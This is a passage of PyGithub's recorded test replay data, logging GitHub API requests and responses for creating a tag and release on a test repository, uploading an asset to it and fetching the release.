artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T06:44:09Z","updated_at":"2020-07-14T06:44:10Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/archive.zip"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530298 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:10 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4855'), ('X-RateLimit-Reset', '1594712356'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E5FC:6688:668614:EE1210:5F0D543A')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseModify.testUploadAssetFileLike.txt0000644000175100001660000007626114756101563026213 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4854'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E606:0724:1B2B60:4A1D9B:5F0D543B')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4853'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E60E:5162:6138ED:E0F737:5F0D543B')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4852'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E616:4579:59AAA0:CEDDF5:5F0D543B')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4851'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"6ea2da96a50cdca363ed1fb458d40bc9"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/7c90f702decb378d774c99b227919fad21f6b35b'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E61E:5FD5:C73270:144AB05:5F0D543C')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjdjOTBmNzAyZGVjYjM3OGQ3NzRjOTliMjI3OTE5ZmFkMjFmNmIzNWI=","sha":"7c90f702decb378d774c99b227919fad21f6b35b","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/7c90f702decb378d774c99b227919fad21f6b35b","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:44:12Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4850'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"767b9224884255373ff78ee3c2c8454a"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530299'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E62A:0725:340239:8683C9:5F0D543C')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530299","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530299/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530299/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530299,"node_id":"MDc6UmVsZWFzZTI4NTMwMjk5","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:13Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28530299/assets?label=another+unit+test+artifact&name=file_like {'Content-Type': 'text/plain', 'Content-Length': '96', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"8d5b698adbab1ef9b1de041220b08ebf"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:13 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 06:44:13 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9288:135B:13CAEF:16CAA3:5F0D543D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855019","id":22855019,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDE5","name":"file_like","label":"another unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":96,"download_count":0,"created_at":"2020-07-14T06:44:13Z","updated_at":"2020-07-14T06:44:13Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_like"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530299/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4847'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"240c1dade1786685b0bb7b253a2663cf"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E63E:77C2:326575:7DAA00:5F0D543D')] [{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855019","id":22855019,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDE5","name":"file_like","label":"another unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":96,"download_count":0,"created_at":"2020-07-14T06:44:13Z","updated_at":"2020-07-14T06:44:13Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_like"}] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530299 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4846'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4054b67e3f4d4cf53dfd854cb4a0ed05"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:13 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E646:629D:B2507B:1304369:5F0D543E')] 